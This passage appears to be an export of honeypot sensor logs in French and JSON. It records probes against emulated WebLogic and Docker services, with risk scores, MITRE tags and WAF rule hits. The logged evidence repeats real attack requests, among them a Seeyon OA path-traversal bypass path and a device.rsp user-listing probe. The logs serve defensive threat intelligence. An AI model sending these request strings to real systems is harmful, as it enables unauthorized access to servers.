"is_tor_hint": false }, "fingerprint": { "http_ua_hash": "b1797610bb39e36244960d837e64af4c", "payload_hash": "72d956812db6812367603d387cd7c3df", "path_pattern_hash": "b893119cfa1ea0088a78c73d29dd1544" }, "target_context": { "dst_port": 7001, "service": "http", "service_name": "http", "risk_score": 59 }, "payload_preview": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686", "method": "GET", "path": "\/seeyon\/thirdpartyController.do.css\/..;\/ajax.do", "user_agent": "Mozilla\/5.0 (Debian; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36", "waf_tags": [ "950324:rce-0", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1", "request_sample": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip", "payload_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686", "evidence": { "method": "GET", "path": "\/seeyon\/thirdpartyController.do.css\/..;\/ajax.do", "user_agent": "Mozilla\/5.0 (Debian; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36", "waf_tags": [ "950324:rce-0", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3" ], "waf_rule_names": [ "rce-0", "nosqli-3" ], "request_line": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1", "request_sample": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip", "payload_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "path_traversal" ], "recommended_client_action": "investigate", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "10d0f6ddfe6a2d7806fae54634ec3507a276cb21", "protocol_details": { "http_method": "GET", "http_path": "\/seeyon\/thirdpartyController.do.css\/..;\/ajax.do", "request_line": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Debian; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "evidence_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686", "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 59 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 67 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 67, "confidence_breakdown": { "waf": 100, "classification": 78, "behavior": 0, "geo": 0, "protocol": 33, "novelty": 25, "risk_score": 59, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 59, "risk_label": "Moyen", "service_name": "http", "service_label_fr": "HTTP", "dst_port": 7001, "protocol_emulated": true, "tags_summary": [ "pat-0083" ], "tags_summary_labels_fr": [ "pat-0083" ], "recommended_action": "investigate", "recommended_action_label": "Investiguer", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "honeypot-http", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "http_method": "GET", "http_path": "\/seeyon\/thirdpartyController.do.css\/..;\/ajax.do", "request_line": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1", "http_user_agent": "Mozilla\/5.0 (Debian; Linux i686) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36", "port": 7001, "service": "http", "service_label_fr": "HTTP" }, "attack_vector": "lfi path traversal \u00b7 via HTTP:7001 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do", "evidence_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:7001\r\nUser-Agent: Mozilla\/5.0 (Debian; Linux i686", "target_port_label": "7001 \u00b7 HTTP", "emulator_service": "http", "confidence_reason": "Confiance 59 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF", "confidence_factors_fr": "Confiance 67 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +8 \u00b7 4 tag(s) WAF", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "http", "service_banner": "honeypot-http", "service_os": "linux", "dst_port": "7001" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_investigate", "tags_list": [ "950324:rce-0", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:49:28 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 33
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /device.rsp?opt=user&cmd=list HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) A Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 33 Confiance : Confiance 0 % — 6 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /device.rsp?opt=user&cmd=list HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) A Requête brute (extrait) GET /device.rsp?opt=user&cmd=list HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 257, "payload_entropy": 5.4101439630025006, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 33, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "d3770971dc08893995005e05c61b25b8", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 33 }, "payload_preview": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "request_sample": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/18.0 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r", "payload_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "evidence": { "request_sample": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/18.0 Safari\/605.1.15\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r", "payload_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "b243177042123ce6400b49545fa3b4c68e852b58", "protocol_details": { "payload_preview": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 33\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 33, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 33, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/device.rsp?opt=user&cmd=list HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh, Intel Mac OS X 10_15_7) A", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 6 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:28 UTC	TCP	2375 · DOCKER	docker	Traversal LFI lfi path traversal · via DOCKER:2375 · (tentative d'exploit)	Élevée	Moyen · 48
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel M Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59% Confiance classification 67% Corrélation +8 Risque capteur Moyen · 48 Confiance : Confiance 59 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0083 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 930110 User-Agent — Règles WAF — Payload (extrait) GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel M Requête brute (extrait) GET /seeyon/thirdpartyController.do.css/..;/ajax.do HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/614.31.14 (KHTML, like Gecko) Version/17.0.96 Safari/614.31.14 Accept: / Accept-Language: en Acce Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 277, "payload_entropy": 5.3748114046870805, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 78, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.1, "risk_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 48, "tag_count": 6, "anomaly_count": 0, "campaign_key": "11a06314b5b73d1ed254793071b2d148dd63d0fb", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "confidence": 0.67, "classification_confidence": 0.67, "precision_score": 70, "precision_signals": [ "pat-0083" ], "kb_rule_ids": [ "pat-0083" ], "matched_patterns": [ "pat-0083" ], "matched_pattern_names": [ "CRS 930110" ], "pattern_ids": [ "pat-0083" ], "confidence_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 48, "correlation_boost": 8 }, "named_classification_skipped": false, "classification_parent": "path_traversal", "service_name": "docker", "risk_confidence_factor": 59, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "15a62dc26414e0c84d2b94917cc5819b", "path_pattern_hash": "944212cb86fb25ee98eec801af12ab3d" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 48 }, "payload_preview": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "request_sample": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit\/614.31.14 (KHTML, like Gecko) Version\/17.0.96 Safari\/614.31.14\r\nAccept: \/\r\nAccept-Language: en\r\nAcce", "payload_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "evidence": { "request_sample": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit\/614.31.14 (KHTML, like Gecko) Version\/17.0.96 Safari\/614.31.14\r\nAccept: \/\r\nAccept-Language: en\r\nAcce", "payload_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%" }, "attack_stage": "exploit_attempt", "mitre_tactics": [ "TA0001", "TA0002" ], "mitre": "TA0001", "threat_family": [ "path_traversal" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "c6181203289f0bf17d98e74d9f7c2b4ef75bfd75", "protocol_details": { "payload_preview": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "attack_vector": "lfi path traversal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 59 % \u2014 Motif catalogue confirm\u00e9", "site_display": { "classification": null, "classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 48\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 67 % \u2014 via DOCKER \u2014 multi-protocole (2 protocoles \u00b7 5 min)", "confidence_pct": 67, "confidence_breakdown": { "waf": 8, "classification": 78, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 48, "correlation_boost": 8 }, "attack_stage": "exploit_attempt", "attack_stage_label": "Tentative d'exploit", "attack_chain_stage": "exploitation", "attack_chain_stage_label_fr": "Exploitation", "risk_score": 48, "risk_label": "Moyen", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": [ "pat-0083" ], "tags_summary_labels_fr": [ "pat-0083" ], "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0001", "mitre_technique": "TA0001", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "lfi path traversal \u00b7 via DOCKER:2375 \u00b7 (tentative d'exploit)", "evidence_snippet": "GET \/seeyon\/thirdpartyController.do.css\/..;\/ajax.do HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel M", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 59 % \u2014 Motif catalogue confirm\u00e9", "confidence_factors_fr": "Confiance 67 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": false, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": true, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "exploitation", "label_fr": "Exploitation", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:21 UTC	TCP	7001 · HTTP	http	Tentative d'exploit exploit attempt · via HTTP:7001 · (tentative d'exploit)	Élevée	Moyen · 48
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0001 TA0001 TA0002 Protocole GET / UA Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10 Émulateur HTTP WAF 16 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 950734:sap-sapcontrol-path net_web_probe Cible HTTP GET / TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 7001 Chemin / cible / Service HTTP Pourquoi cette classification : Tentative d'exploit (tag rce-0) · confiance 62% Confiance classification 70% Corrélation +8 Risque capteur Moyen · 48 Confiance : Confiance 62 % — 3 tag(s) WAF Protocole émulé 1 Signaux MITRE-T1190 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Ligne de requête `GET / HTTP/1.1` User-Agent Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10 Règles WAF rce-0 nosqli-3 sap-sapcontrol-path Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10 Accept: / Requête brute (extrait) GET / HTTP/1.1 Host: 62.3.50.33:7001 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.10 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a205765624c6f676963205365727665722031342e312e312e300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2037390d0a0d0a3c68746d6c3e3c7469746c653e5765624c6f676963205365727665722043", "emulator_response_len": 177, "http_header_count": 5, "http_query_params": 0, "http_path_depth": 0, "http_path_ext": null, "http_ua_hash": "d213b8fe16e42926c6b80bc6e2bda0be62c5888b", "http_host_hash": "1e75f7b986cff91f40ab57cbc92b6aed66f05c5b", "http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8", "http_referer_hash": null, "http_method": "GET", "http_ua_is_cli": false, "http_ua_is_browser": true, "bytes_in": 176, "payload_entropy": 5.252909848384042, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "http", "app_proto": "http", "asn": 45102, "country": "JP", "dst_port": 7001, "risk_waf": 72, "risk_classification": 72, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 33, "risk_novelty": 15, "risk_boost": 0, "risk_granularity": 5.6, "risk_breakdown": { "waf": 72, "classification": 72, "behavior": 0, 